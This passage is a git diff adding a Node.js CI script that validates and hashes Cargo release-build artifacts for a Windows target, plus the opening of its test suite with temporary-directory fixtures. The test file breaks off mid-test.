(fromId) return fromId; + if (typeof message.manifest_path !== "string" || message.manifest_path === "") { + fail(`Cargo artifact package name is unavailable for ${message.package_id}`); + } + const manifest = fs.readFileSync(message.manifest_path, "utf8"); + let inPackage = false; + for (const line of manifest.split(/\r?\n/u)) { + const section = /^\s*\[([^\]]+)\]\s*$/u.exec(line); + if (section) { + inPackage = section[1] === "package"; + continue; + } + if (!inPackage) continue; + const name = /^\s*name\s*=\s*["']([^"']+)["']\s*(?:#.*)?$/u.exec(line); + if (name) return name[1]; + } + fail(`Cargo package manifest has no package name: ${message.manifest_path}`); +} + +function parseExpectation(value) { + if (typeof value !== "string") fail("artifact expectation must be a string"); + const separator = value.indexOf("="); + if (separator <= 0 || separator === value.length - 1) { + fail("artifact expectation must use alias=package:kind:target"); + } + const alias = value.slice(0, separator); + const fields = value.slice(separator + 1).split(":"); + if (!ALIAS.test(alias)) fail(`invalid artifact alias ${alias}`); + if (fields.length !== 3 || fields.some((field) => field === "")) { + fail(`invalid artifact expectation ${value}`); + } + const [packageName, kind, targetName] = fields; + if (!["bin", "test"].includes(kind)) { + fail(`unsupported artifact kind ${kind}`); + } + return { alias, packageName, kind, targetName }; +} + +function requireArtifactContract(expectations) { + const aliases = expectations.map(({ alias }) => alias).sort(); + const required = [...REQUIRED_ALIASES].sort(); + const withDriver = [...REQUIRED_ALIASES, "qualification_driver"].sort(); + if ( + JSON.stringify(aliases) !== JSON.stringify(required) + && JSON.stringify(aliases) !== JSON.stringify(withDriver) + ) { + fail("Windows release graph artifact set changed"); + } + for (const expectation of expectations) { + const contract = ARTIFACT_CONTRACT[expectation.alias]; + if ( + !contract + || expectation.packageName !== contract.packageName + || expectation.kind !== contract.kind + || expectation.targetName !== contract.targetName + ) { + fail(`Windows release graph artifact contract changed for ${expectation.alias}`); + } + } +} + +function parseCargoMessages(jsonLines) { + return parseCargoMessageStream(jsonLines).compilerArtifacts; +} + +function parseCargoMessageStream(jsonLines) { + const compilerArtifacts = []; + const buildFinished = []; + for (const [index, line] of jsonLines.split(/\r?\n/u).entries()) { + if (line.trim() === "") continue; + let message; + try { + message = JSON.parse(line); + } catch { + fail(`Cargo JSON output line ${index + 1} is not valid JSON`); + } + if (message?.reason === "compiler-artifact") compilerArtifacts.push(message); + if (message?.reason === "build-finished") buildFinished.push(message); + } + return { compilerArtifacts, buildFinished }; +} + +export function assertShippingFeatureContract({ + jsonLines, + workspaceRoot, +}) { + const resolvedWorkspaceRoot = fs.realpathSync(workspaceRoot); + if (!fs.statSync(resolvedWorkspaceRoot).isDirectory()) { + fail("shipping Cargo workspace root is not a directory"); + } + const { compilerArtifacts, buildFinished } = parseCargoMessageStream(jsonLines); + if ( + buildFinished.length !== 1 + || buildFinished[0]?.success !== true + ) { + fail("shipping Cargo message stream did not finish successfully"); + } + + const artifacts = compilerArtifacts.map((message) => { + const packageName = packageNameFromArtifact(message); + const targetName = message?.target?.name; + const targetKinds = message?.target?.kind; + if ( + typeof targetName !== "string" + || targetName === "" + || !Array.isArray(targetKinds) + || targetKinds.some((kind) => typeof kind !== "string") + || message?.profile === null + || typeof message?.profile !== "object" + ) { + fail(`Cargo compiler artifact shape changed for ${packageName}`); + } + if ( + message.profile.test === true + || targetKinds.includes("test") + || targetKinds.includes("bench") + ) { + fail( + `shipping Cargo graph emitted a test or benchmark target: ` + + `${packageName}:${targetName}`, + ); + } + return { + message, + packageName, + targetKinds, + targetName, + }; + }); + + for (const expected of SHIPPING_BINARIES) { + const matches = artifacts.filter(({ message, packageName, targetKinds, targetName }) => + packageName === expected.packageName + && targetName === expected.targetName + && JSON.stringify(targetKinds) === JSON.stringify(["bin"]) + && message.profile.test === false + ); + if (matches.length !== 1) { + fail( + `shipping Cargo graph must emit exactly one production binary ` + + `${expected.packageName}:${expected.targetName}; found ${matches.length}`, + ); + } + } + + for (const [packageName, forbidden] of FORBIDDEN_SHIPPING_FEATURES) { + const matches = artifacts.filter((artifact) => + artifact.packageName === packageName + ); + if (matches.length === 0) { + fail(`shipping Cargo graph omitted feature evidence for ${packageName}`); + } + for (const { message } of matches) { + if ( + !Array.isArray(message.features) + || message.features.some((feature) => typeof feature !== "string") + ) { + fail(`shipping Cargo feature evidence changed for ${packageName}`); + } + for (const feature of message.features) { + if (forbidden.has(feature)) { + fail( + `shipping Cargo graph enabled forbidden feature ` + + `${packageName}/${feature}`, + ); + } + } + } + } +} + +function releaseProfile(message, kind) { + const profile = message.profile; + exactKeys( + profile, + [ + "opt_level", + "debuginfo", + "debug_assertions", + "overflow_checks", + "test", + ], + "Cargo artifact profile", + ); + const optLevel = String(profile.opt_level); + if ( + !RELEASE_OPT_LEVELS.has(optLevel) + || profile.debug_assertions !== false + || profile.overflow_checks !== false + ) { + fail("Cargo artifact was not built with the release profile"); + } + const expectedTest = kind === "test"; + if (profile.test !== expectedTest) { + fail(`Cargo artifact profile.test did not match ${kind}`); + } + return { + opt_level: optLevel, + debuginfo: profile.debuginfo, + debug_assertions: false, + overflow_checks: false, + test: expectedTest, + }; +} + +function isWithin(root, candidate) { + const relative = path.relative(root, candidate); + return ( + relative !== "" + && relative !== ".." + && !relative.startsWith(`..${path.sep}`) + && !path.isAbsolute(relative) + ); +} + +function hashFile(file) { + const hash = crypto.createHash("sha256"); + const handle = fs.openSync(file, "r"); + const buffer = Buffer.allocUnsafe(1024 * 1024); + try { + for (;;) { + const bytesRead = fs.readSync(handle, buffer, 0, buffer.length, null); + if (bytesRead === 0) break; + hash.update(buffer.subarray(0, bytesRead)); + } + } finally { + fs.closeSync(handle); + } + return hash.digest("hex"); +} + +function nativeFileMetadata(file, label) { + const metadata = fs.lstatSync(file, { bigint: true }); + if (!metadata.isFile() || metadata.isSymbolicLink()) { + fail(`${label} must be a regular, non-symlink file`); + } + if ( + metadata.dev < 0n + || metadata.ino <= 0n + || metadata.nlink <= 0n + || metadata.size < 0n + || metadata.size > BigInt(Number.MAX_SAFE_INTEGER) + ) { + fail(`${label} has unusable native filesystem metadata`); + } + return metadata; +} + +function nativeIdentity(metadata) { + return { + device: metadata.dev.toString(), + inode: metadata.ino.toString(), + }; +} + +function sameNativeIdentity(left, right) { + return left.dev === right.dev && left.ino === right.ino; +} + +function sameNativeSnapshot(left, right) { + return ( + sameNativeIdentity(left, right) + && left.nlink === right.nlink + && left.size === right.size + ); +} + +function profileRelativePath(realProfileRoot, candidate, label) { + const realCandidate = fs.realpathSync(candidate); + if (!isWithin(realProfileRoot, realCandidate)) { + fail(`${label} escaped the exact target release directory`); + } + return path.relative(realProfileRoot, realCandidate) + .split(path.sep) + .join("/"); +} + +function inspectNativeLinks({ + executable, + kind, + realProfileRoot, + targetName, +}) { + const label = `Cargo artifact ${targetName}`; + const before = nativeFileMetadata(executable, label); + if (before.nlink > BigInt(Number.MAX_SAFE_INTEGER)) { + fail(`${label} has an unusable native hardlink count`); + } + const linkCount = Number(before.nlink); + const selectedRelative = profileRelativePath( + realProfileRoot, + executable, + label, + ); + const paths = [selectedRelative]; + + if (kind === "test") { + if (linkCount !== 1) { + fail(`${label} test executable has native aliases outside its Cargo output path`); + } + } else if (linkCount === 2) { + const depsRoot = path.join(realProfileRoot, "deps"); + const depsMetadata = fs.lstatSync(depsRoot); + if (!depsMetadata.isDirectory() || depsMetadata.isSymbolicLink()) { + fail(`${label} hardlink peer directory is missing`); + } + const peer = path.join( + depsRoot, + `${targetName.replaceAll("-", "_")}.exe`, + ); + if (!fs.existsSync(peer)) { + fail( + `${label} hardlinks are not exactly the release-root executable and one release/deps peer`, + ); + } + const peerMetadata = nativeFileMetadata(peer, `${label} hardlink peer`); + if (!sameNativeIdentity(before, peerMetadata)) { + fail( + `${label} hardlinks are not exactly the release-root executable and one release/deps peer`, + ); + } + paths.push(profileRelativePath(realProfileRoot, peer, label)); + } else if (linkCount !== 1) { + fail(`${label} has an unsupported native hardlink count ${linkCount}`); + } + + paths.sort(); + if (paths.length !== linkCount || new Set(paths).size !== paths.length) { + fail(`${label} native hardlink accounting is incomplete`); + } + const after = nativeFileMetadata(executable, label); + if (!sameNativeSnapshot(before, after)) { + fail(`${label} native identity changed while its hardlinks were inspected`); + } + return { + metadata: after, + nativeLinks: { + ...nativeIdentity(after), + count: linkCount, + paths, + }, + }; +} + +function requireStableNativeInspection({ + executable, + expectedMetadata, + expectedNativeLinks, + kind, + label, + realProfileRoot, + targetName, +}) { + const current = inspectNativeLinks({ + executable, + kind, + realProfileRoot, + targetName, + }); + if ( + !sameNativeSnapshot(expectedMetadata, current.metadata) + || JSON.stringify(expectedNativeLinks) !== JSON.stringify(current.nativeLinks) + ) { + fail(`${label} native identity changed while its contents were authenticated`); + } +} + +function validatedExecutable(message, { + kind, + profileRoot, + targetName, +}) { + if (message.fresh !== false) { + fail(`Cargo artifact ${targetName} was not produced by the exact build invocation`); + } + if (typeof message.executable !== "string" || message.executable === "") { + fail(`Cargo artifact ${targetName} did not emit an executable`); + } + if ( + !Array.isArray(message.filenames) + || !message.filenames.some( + (filename) => path.resolve(filename) === path.resolve(message.executable), + ) + ) { + fail(`Cargo artifact ${targetName} executable is not one of its emitted filenames`); + } + const executable = path.resolve(message.executable); + if (path.extname(executable).toLowerCase() !== ".exe") { + fail(`Cargo artifact ${targetName} is not a Windows executable`); + } + + const realProfileRoot = fs.realpathSync(profileRoot); + const relative = profileRelativePath( + realProfileRoot, + executable, + `Cargo artifact ${targetName}`, + ); + if (kind === "test" && path.posix.dirname(relative) !== "deps") { + fail(`Cargo test artifact ${targetName} was not emitted under release/deps`); + } + if ( + kind === "bin" + && ( + path.posix.dirname(relative) !== "." + || path.posix.basename(relative) !== `${targetName}.exe` + ) + ) { + fail(`Cargo binary artifact ${targetName} was not emitted at the release root`); + } + const { metadata, nativeLinks } = inspectNativeLinks({ + executable, + kind, + realProfileRoot, + targetName, + }); + const sha256 = hashFile(executable); + requireStableNativeInspection({ + executable, + expectedMetadata: metadata, + expectedNativeLinks: nativeLinks, + kind, + label: `Cargo artifact ${targetName}`, + realProfileRoot, + targetName, + }); + + return { + path: executable, + relative_path: relative, + bytes: Number(metadata.size), + sha256, + native_links: nativeLinks, + }; +} + +function matchingArtifacts(messages, expectation, workspaceRoot) { + const expectedManifest = fs.realpathSync( + path.join(workspaceRoot, "crates", expectation.packageName, "Cargo.toml"), + ); + return messages.filter((message) => { + if (message?.target?.name !== expectation.targetName) return false; + if (!Array.isArray(message.target.kind)) return false; + if (!message.target.kind.includes(expectation.kind)) return false; + if (packageNameFromArtifact(message) !== expectation.packageName) return false; + return fs.realpathSync(message.manifest_path) === expectedManifest; + }); +} + +export function buildCargoArtifactManifest({ + exactSha, + exactTree, + expectations, + jsonLines, + rustTarget, + targetDir, + workspaceRoot, +}) { + assertShippingFeatureContract({ jsonLines, workspaceRoot }); + requireSha(exactSha, "source SHA"); + requireSha(exactTree, "source tree"); + requireWindowsTarget(rustTarget); + if (!Array.isArray(expectations) || expectations.length === 0) { + fail("at least one Cargo artifact expectation is required"); + } + const parsedExpectations = expectations.map((value) => + typeof value === "string" ? parseExpectation(value) : value + ); + requireArtifactContract(parsedExpectations); + const aliases = new Set(); + const identities = new Set(); + for (const expectation of parsedExpectations) { + if (!ALIAS.test(expectation.alias)) fail(`invalid artifact alias ${expectation.alias}`); + if (aliases.has(expectation.alias)) fail(`duplicate artifact alias ${expectation.alias}`); + aliases.add(expectation.alias); + const identity = + `${expectation.packageName}:${expectation.kind}:${expectation.targetName}`; + if (identities.has(identity)) fail(`duplicate artifact expectation ${identity}`); + identities.add(identity); + } + + const resolvedTargetDir = path.resolve(targetDir); + const resolvedWorkspaceRoot = fs.realpathSync(workspaceRoot); + const profileRoot = path.join(resolvedTargetDir, rustTarget, "release"); + if (!fs.statSync(profileRoot).isDirectory()) { + fail("exact target release directory is missing"); + } + const messages = parseCargoMessages(jsonLines); + const artifacts = {}; + for (const expectation of parsedExpectations) { + const matches = matchingArtifacts(messages, expectation, resolvedWorkspaceRoot); + if (matches.length !== 1) { + fail( + `expected exactly one Cargo artifact for ${expectation.alias}, found ${matches.length}`, + ); + } + const [message] = matches; + exactKeys( + message.target, + [ + "kind", + "crate_types", + "name", + "src_path", + "edition", + "doc", + "doctest", + "test", + ], + `Cargo artifact target ${expectation.targetName}`, + ); + if ( + !Array.isArray(message.target.crate_types) + || JSON.stringify(message.target.kind) !== JSON.stringify([expectation.kind]) + || JSON.stringify(message.target.crate_types) !== JSON.stringify(["bin"]) + || typeof message.target.test !== "boolean" + ) { + fail(`Cargo artifact target contract changed for ${expectation.alias}`); + } + const profile = releaseProfile(message, expectation.kind); + artifacts[expectation.alias] = { + package: expectation.packageName, + target: expectation.targetName, + kind: expectation.kind, + profile, + ...validatedExecutable(message, { + kind: expectation.kind, + profileRoot, + targetName: expectation.targetName, + }), + }; + } + + return { + schema: SCHEMA, + source: { + commit: exactSha, + tree: exactTree, + }, + build: { + rust_target: rustTarget, + profile: "release", + target_dir: resolvedTargetDir, + workspace_root: resolvedWorkspaceRoot, + }, + artifacts, + }; +} + +function validateManifestShape(manifest) { + exactKeys(manifest, ["schema", "source", "build", "artifacts"], "artifact manifest"); + if (manifest.schema !== SCHEMA) fail("artifact manifest schema changed"); + exactKeys(manifest.source, ["commit", "tree"], "artifact manifest source"); + exactKeys( + manifest.build, + ["rust_target", "profile", "target_dir", "workspace_root"], + "artifact manifest build", + ); + if (manifest.build.profile !== "release") fail("artifact manifest profile is not release"); + requireWindowsTarget(manifest.build.rust_target); + requireSha(manifest.source.commit, "manifest source SHA"); + requireSha(manifest.source.tree, "manifest source tree"); + if ( + manifest.artifacts === null + || typeof manifest.artifacts !== "object" + || Array.isArray(manifest.artifacts) + || Object.keys(manifest.artifacts).length === 0 + ) { + fail("artifact manifest must contain artifacts"); + } + const aliases = Object.keys(manifest.artifacts).sort(); + const required = [...REQUIRED_ALIASES].sort(); + const withDriver = [...REQUIRED_ALIASES, "qualification_driver"].sort(); + if ( + JSON.stringify(aliases) !== JSON.stringify(required) + && JSON.stringify(aliases) !== JSON.stringify(withDriver) + ) { + fail("artifact manifest release graph changed"); + } +} + +function validateNativeLinksShape(nativeLinks, artifact, alias) { + exactKeys( + nativeLinks, + ["device", "inode", "count", "paths"], + `artifact manifest native links ${alias}`, + ); + if ( + typeof nativeLinks.device !== "string" + || !DECIMAL_BIGINT.test(nativeLinks.device) + || typeof nativeLinks.inode !== "string" + || !DECIMAL_BIGINT.test(nativeLinks.inode) + || BigInt(nativeLinks.inode) <= 0n + || !Number.isSafeInteger(nativeLinks.count) + || ![1, 2].includes(nativeLinks.count) + || !Array.isArray(nativeLinks.paths) + || nativeLinks.paths.length !== nativeLinks.count + || new Set(nativeLinks.paths).size !== nativeLinks.paths.length + || nativeLinks.paths.some( + (entry) => + typeof entry !== "string" + || entry === "" + || entry.includes("\\") + || path.posix.isAbsolute(entry) + || entry === ".." + || entry.startsWith("../"), + ) + || JSON.stringify(nativeLinks.paths) !== JSON.stringify([...nativeLinks.paths].sort()) + || !nativeLinks.paths.includes(artifact.relative_path) + ) { + fail(`artifact manifest native links ${alias} values changed`); + } + const peerPaths = nativeLinks.paths.filter( + (entry) => entry !== artifact.relative_path, + ); + if ( + (artifact.kind === "test" && nativeLinks.count !== 1) + || ( + artifact.kind === "bin" + && nativeLinks.count === 2 + && ( + peerPaths.length !== 1 + || path.posix.dirname(peerPaths[0]) !== "deps" + || path.posix.basename(peerPaths[0]) + !== `${artifact.target.replaceAll("-", "_")}.exe` + ) + ) + || (artifact.kind === "bin" && nativeLinks.count === 1 && peerPaths.length !== 0) + ) { + fail(`artifact manifest native link topology changed for ${alias}`); + } +} + +export function verifyCargoArtifactManifest({ + exactSha, + exactTree, + manifest, + rustTarget, + workspaceRoot, +}) { + validateManifestShape(manifest); + if ( + manifest.source.commit !== exactSha + || manifest.source.tree !== exactTree + ) { + fail("artifact manifest source identity does not match the exact checkout"); + } + if (manifest.build.rust_target !== rustTarget) { + fail("artifact manifest Rust target does not match"); + } + if ( + fs.realpathSync(manifest.build.workspace_root) !== fs.realpathSync(workspaceRoot) + ) { + fail("artifact manifest workspace root does not match"); + } + + const profileRoot = path.join( + path.resolve(manifest.build.target_dir), + rustTarget, + "release", + ); + const realProfileRoot = fs.realpathSync(profileRoot); + const verified = {}; + for (const [alias, artifact] of Object.entries(manifest.artifacts)) { + if (!ALIAS.test(alias)) fail(`invalid artifact manifest alias ${alias}`); + exactKeys( + artifact, + [ + "package", + "target", + "kind", + "profile", + "path", + "relative_path", + "bytes", + "sha256", + "native_links", + ], + `artifact manifest entry ${alias}`, + ); + if ( + typeof artifact.package !== "string" + || artifact.package === "" + || typeof artifact.target !== "string" + || artifact.target === "" + || !["bin", "test"].includes(artifact.kind) + || !Number.isSafeInteger(artifact.bytes) + || artifact.bytes < 0 + || !SHA256.test(artifact.sha256) + || typeof artifact.relative_path !== "string" + || artifact.relative_path === "" + ) { + fail(`artifact manifest entry ${alias} values changed`); + } + const contract = ARTIFACT_CONTRACT[alias]; + if ( + !contract + || artifact.package !== contract.packageName + || artifact.kind !== contract.kind + || artifact.target !== contract.targetName + ) { + fail(`artifact manifest contract changed for ${alias}`); + } + releaseProfile({ profile: artifact.profile }, artifact.kind); + validateNativeLinksShape(artifact.native_links, artifact, alias); + const executable = path.resolve(artifact.path); + const realExecutable = fs.realpathSync(executable); + if (!isWithin(realProfileRoot, realExecutable)) { + fail(`artifact ${alias} escaped the exact target release directory`); + } + const relative = path.relative(realProfileRoot, realExecutable) + .split(path.sep) + .join("/"); + if ( + (artifact.kind === "test" && path.posix.dirname(relative) !== "deps") + || ( + artifact.kind === "bin" + && ( + path.posix.dirname(relative) !== "." + || path.posix.basename(relative) !== `${artifact.target}.exe` + ) + ) + || path.extname(executable).toLowerCase() !== ".exe" + ) { + fail(`artifact ${alias} no longer has its expected release-graph path`); + } + const { metadata, nativeLinks } = inspectNativeLinks({ + executable, + kind: artifact.kind, + realProfileRoot, + targetName: artifact.target, + }); + if ( + JSON.stringify(nativeLinks) !== JSON.stringify(artifact.native_links) + ) { + fail(`artifact ${alias} no longer matches its authenticated native links`); + } + const sha256 = hashFile(executable); + requireStableNativeInspection({ + executable, + expectedMetadata: metadata, + expectedNativeLinks: nativeLinks, + kind: artifact.kind, + label: `artifact ${alias}`, + realProfileRoot, + targetName: artifact.target, + }); + if ( + relative !== artifact.relative_path + || Number(metadata.size) !== artifact.bytes + || sha256 !== artifact.sha256 + ) { + fail(`artifact ${alias} no longer matches its authenticated build output`); + } + verified[alias] = executable; + } + return verified; +} + +function parseArguments(argv) { + const [command, ...rest] = argv; + const values = new Map(); + for (let index = 0; index < rest.length; index += 1) { + const flag = rest[index]; + if (!flag?.startsWith("--")) fail(`unexpected argument ${flag ?? ""}`); + const value = rest[index + 1]; + if (value === undefined || value.startsWith("--")) fail(`missing value for ${flag}`); + if (!values.has(flag)) values.set(flag, []); + values.get(flag).push(value); + index += 1; + } + return { command, values }; +} + +function one(values, flag, { required = true } = {}) { + const entries = values.get(flag) ?? []; + if (entries.length > 1) fail(`${flag} may be supplied only once`); + if (entries.length === 0) { + if (required) fail(`missing ${flag}`); + return ""; + } + return entries[0]; +} + +function writeManifest(file, manifest) { + fs.mkdirSync(path.dirname(file), { recursive: true }); + fs.writeFileSync(file, `${JSON.stringify(manifest, null, 2)}\n`, { + encoding: "utf8", + flag: "wx", + mode: 0o600, + }); +} + +function appendOutputs(file, manifestFile, artifacts) { + const rows = [`manifest=${path.resolve(manifestFile)}`]; + for (const [alias, artifact] of Object.entries(artifacts)) { + rows.push(`${alias}=${artifact.path ?? artifact}`); + } + fs.appendFileSync(file, `${rows.join("\n")}\n`, "utf8"); +} + +function runSelect(values) { + const expectations = values.get("--expect") ?? []; + const input = one(values, "--input"); + const output = one(values, "--out"); + const manifest = buildCargoArtifactManifest({ + exactSha: one(values, "--source-sha"), + exactTree: one(values, "--source-tree"), + expectations, + jsonLines: fs.readFileSync(input, "utf8"), + rustTarget: one(values, "--rust-target"), + targetDir: one(values, "--target-dir"), + workspaceRoot: one(values, "--workspace-root"), + }); + writeManifest(output, manifest); + const githubOutput = one(values, "--github-output", { required: false }); + if (githubOutput) appendOutputs(githubOutput, output, manifest.artifacts); +} + +function runFeatures(values) { + assertShippingFeatureContract({ + jsonLines: fs.readFileSync(one(values, "--input"), "utf8"), + workspaceRoot: one(values, "--workspace-root"), + }); +} + +function runVerify(values) { + const manifestFile = one(values, "--manifest"); + const manifest = JSON.parse(fs.readFileSync(manifestFile, "utf8")); + const artifacts = verifyCargoArtifactManifest({ + exactSha: one(values, "--source-sha"), + exactTree: one(values, "--source-tree"), + manifest, + rustTarget: one(values, "--rust-target"), + workspaceRoot: one(values, "--workspace-root"), + }); + const githubOutput = one(values, "--github-output", { required: false }); + if (githubOutput) appendOutputs(githubOutput, manifestFile, artifacts); +} + +function main(argv) { + const { command, values } = parseArguments(argv); + if (command === "features") { + runFeatures(values); + } else if (command === "select") { + runSelect(values); + } else if (command === "verify") { + runVerify(values); + } else { + fail(`unsupported command ${command ?? ""}`); + } +} + +if (process.argv[1] && fileURLToPath(import.meta.url) === path.resolve(process.argv[1])) { + try { + main(process.argv.slice(2)); + } catch (error) { + console.error(error instanceof Error ? error.message : String(error)); + process.exit(1); + } +} diff --git a/.github/scripts/cargo-build-artifacts.test.mjs b/.github/scripts/cargo-build-artifacts.test.mjs new file mode 100644 index 000000000..ae7cadb58 --- /dev/null +++ b/.github/scripts/cargo-build-artifacts.test.mjs @@ -0,0 +1,745 @@ +import assert from "node:assert/strict"; +import { spawnSync } from "node:child_process"; +import crypto from "node:crypto"; +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import test from "node:test"; +import { fileURLToPath } from "node:url"; + +import { + assertShippingFeatureContract, + buildCargoArtifactManifest, + verifyCargoArtifactManifest, +} from "./cargo-build-artifacts.mjs"; + +const SOURCE_SHA = "a".repeat(40); +const SOURCE_TREE = "b".repeat(40); +const RUST_TARGET = "x86_64-pc-windows-msvc"; +const SCRIPT = fileURLToPath(new URL("./cargo-build-artifacts.mjs", import.meta.url)); + +function sha256(value) { + return crypto.createHash("sha256").update(value).digest("hex"); +} + +function fixture({ + includeQualificationDriver = true, + binaryTargetTest = true, +} = {}) { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "codestory-cargo-artifacts-")); + const targetDir = path.join(root, "target"); + const releaseDir = path.join(targetDir, RUST_TARGET, "release"); + const depsDir = path.join(releaseDir, "deps"); + fs.mkdirSync(depsDir, { recursive: true }); + + function writePackageManifest(packageName) { + const manifest = path.join(root, "crates", packageName, "Cargo.toml"); + if (!fs.existsSync(manifest)) { + fs.mkdirSync(path.dirname(manifest), { recursive: true }); + fs.writeFileSync( + manifest, + `[package]\nname = "${packageName}"\nversion = "0.16.3"\n`, + ); + } + return manifest; + } + + const artifacts = [ + { + alias: "cli", + packageName: "codestory-cli", + kind: "bin", + targetName: "codestory-cli", + executable: path.join(releaseDir, "codestory-cli.exe"), + contents: "cli", + }, + { + alias: "runtime", + packageName: "codestory-cli", + kind: "bin", + targetName: "codestory-cli-runtime", + executable: path.join(releaseDir, "codestory-cli-runtime.exe"), + contents: "runtime", + }, + ]; + if (includeQualificationDriver) { + artifacts.push({ + alias: "qualification_driver", + packageName: "codestory-bench", + kind: "bin", + targetName: "codestory_embedding_qualification", + executable: path.join(releaseDir, "codestory_embedding_qualification.exe"), + contents: "qualification driver", + }); + } + for (const artifact of artifacts) { + fs.writeFileSync(artifact.executable, artifact.contents); + artifact.manifest = writePackageManifest(artifact.packageName); + } + + const messages = artifacts.map((artifact) => ({ + reason: "compiler-artifact", + package_id: `path+file://${path.dirname(artifact.manifest)}#0.16.3`, + manifest_path: artifact.manifest, + target: { + kind: [artifact.kind], + crate_types: ["bin"], + name: artifact.targetName, + src_path: `/checkout/crates/${artifact.packageName}/target.rs`, + edition: "2024", + doc: false, + doctest: false, + // Cargo reports whether a target is test-capable here. Release binaries + // commonly report true; profile.test below identifies the active build. + test: binaryTargetTest, + }, + profile: { + opt_level: "3", + debuginfo: 0, + debug_assertions: false, + overflow_checks: false, + test: false, + }, + features: [], + filenames: [artifact.executable], + executable: artifact.executable, + fresh: false, + })); + for (const packageName of ["codestory-retrieval", "codestory-runtime"]) { + const manifest = writePackageManifest(packageName); + messages.push({ + reason: "compiler-artifact", + package_id: + `path+file://${path.dirname(manifest)}#${packageName}@0.16.3`, + manifest_path: manifest, + target: { + kind: ["lib"], + crate_types: ["lib"], + name: packageName.replaceAll("-", "_"), + src_path: `/checkout/crates/${packageName}/src/lib.rs`, + edition: "2024", + doc: true, + doctest: true, + test: true, + }, + profile: { + opt_level: "3", + debuginfo: 0, + debug_assertions: false, + overflow_checks: false, + test: false, + }, + features: [], + filenames: [ + path.join(releaseDir, "deps", `lib${packageName.replaceAll("-", "_")}.rlib`), + ], + executable: null, + fresh: false, + }); + } + messages.unshift({ + reason: "compiler-artifact", + package_id: "registry+https://example.invalid/index#serde@1.0.0", + target: { + kind: ["lib"], + crate_types: ["lib"], + name: "serde", + src_path: "/registry/serde/src/lib.rs", + edition: "2021", + doc: true, + doctest: true, + test: true, + }, + profile: { + opt_level: "3", + debuginfo: 0, + debug_assertions: false, + overflow_checks: false, + test: false, + }, + filenames: [path.join(releaseDir, "deps", "libserde.rlib")], + executable: null, + }); + messages.push({ + reason: "build-finished", + success: true, + }); + + return { + artifacts, + expectations: artifacts.map( + ({ alias, packageName, kind, targetName }) => + `${alias}=${packageName}:${kind}:${targetName}`, + ), + jsonLines: messages.map((message) => JSON.stringify(message)).join("\n"), + messages, + releaseDir, + root, + targetDir, + }; +} + +function refreshCargoJson(input) { + input.jsonLines = input.messages + .map((message) => JSON.stringify(message)) + .join("\n"); +} + +function featureMessage(input, packageName) { + const message = input.messages.find( + (entry) => entry.target?.name === packageName.replaceAll("-", "_"), + ); + assert.ok(message, `missing fixture message for ${packageName}`); + return message; +} + +function build(input = fixture()) { + const manifest = buildCargoArtifactManifest({ + exactSha: SOURCE_SHA, + exactTree: SOURCE_TREE, + expectations: input.expectations, + jsonLines: input.jsonLines, + rustTarget: RUST_TARGET, + targetDir: input.targetDir, + workspaceRoot: input.root, + }); + return { input, manifest }; +} + +function addCargoBinPeer(input, alias = "cli", peerName) { + const artifact = input.artifacts.find((entry) => entry.alias === alias); + assert.ok(artifact); + assert.equal(artifact.kind, "bin"); + const peer = path.join( + input.releaseDir, + "deps", + peerName ?? `${artifact.targetName.replaceAll("-", "_")}.exe`, + ); + fs.linkSync(artifact.executable, peer); + return peer; +} + +function verify(input, manifest, exactSha = SOURCE_SHA) { + return verifyCargoArtifactManifest({ + exactSha, + exactTree: SOURCE_TREE, + manifest, + rustTarget: RUST_TARGET, + workspaceRoot: input.root, + }); +} + +test("binds each requested executable to the exact Windows release graph", () => { + const { input, manifest } = build(); + + assert.equal(manifest.schema, "codestory.cargo-build-artifacts/v2"); + assert.deepEqual(manifest.source, { + commit: SOURCE_SHA, + tree: SOURCE_TREE, + }); + assert.equal(manifest.build.profile, "release"); + assert.equal(manifest.build.rust_target, RUST_TARGET); + for (const artifact of input.artifacts) { + const selected = manifest.artifacts[artifact.alias]; + assert.equal(selected.path, path.resolve(artifact.executable)); + assert.equal(selected.bytes, Buffer.byteLength(artifact.contents)); + assert.equal(selected.sha256, sha256(artifact.contents)); + assert.equal(selected.profile.test, false); + assert.equal(selected.native_links.count, 1); + assert.deepEqual(selected.native_links.paths, [selected.relative_path]); + assert.match(selected.native_links.device, /^(?:0|[1-9][0-9]*)$/u); + assert.match(selected.native_links.inode, /^[1-9][0-9]*$/u); + } + + assert.deepEqual( + verify(input, manifest), + Object.fromEntries( + input.artifacts.map((artifact) => [ + artifact.alias, + path.resolve(artifact.executable), + ]), + ), + ); +}); + +test("accepts and records Cargo's release-root hardlink to release/deps", () => { + const input = fixture(); + const peer = addCargoBinPeer(input, "cli"); + const { manifest } = build(input); + const selected = manifest.artifacts.cli; + + assert.equal(selected.native_links.count, 2); + assert.deepEqual(selected.native_links.paths, [ + "codestory-cli.exe", + "deps/codestory_cli.exe", + ]); + const rootIdentity = fs.lstatSync(input.artifacts[0].executable, { bigint: true }); + const peerIdentity = fs.lstatSync(peer, { bigint: true }); + assert.equal(rootIdentity.dev, peerIdentity.dev); + assert.equal(rootIdentity.ino, peerIdentity.ino); + assert.equal(rootIdentity.nlink, 2n); + assert.equal(selected.native_links.device, rootIdentity.dev.toString()); + assert.equal(selected.native_links.inode, rootIdentity.ino.toString()); + + assert.equal(verify(input, manifest).cli, path.resolve(input.artifacts[0].executable)); +}); + +test("accepts Cargo's copied release-root fallback when native hardlinking is unavailable", () => { + const { input, manifest } = build(); + + assert.equal(manifest.artifacts.cli.native_links.count, 1); + assert.deepEqual(manifest.artifacts.cli.native_links.paths, [ + "codestory-cli.exe", + ]); + assert.doesNotThrow(() => verify(input, manifest)); +}); + +test("accepts the release graph without the optional qualification driver", () => { + const input = fixture({ includeQualificationDriver: false }); + const { manifest } = build(input); + + assert.deepEqual( + Object.keys(manifest.artifacts).sort(), + ["cli", "runtime"], + ); +}); + +test("does not confuse a binary target's test capability with its active profile", () => { + const input = fixture({ binaryTargetTest: false }); + const { manifest } = build(input); + + assert.equal(input.messages[1].target.test, false); + assert.equal(manifest.artifacts.cli.profile.test, false); +}); + +test("accepts an isolated shipping feature graph", () => { + const input = fixture(); + + assert.doesNotThrow(() => + assertShippingFeatureContract({ + jsonLines: input.jsonLines, + workspaceRoot: input.root, + }) + ); +}); + +test("rejects retrieval test support in the shipping graph", () => { + const input = fixture(); + featureMessage(input, "codestory-retrieval").features = ["test-support"]; + refreshCargoJson(input); + + assert.throws( + () => + assertShippingFeatureContract({ + jsonLines: input.jsonLines, 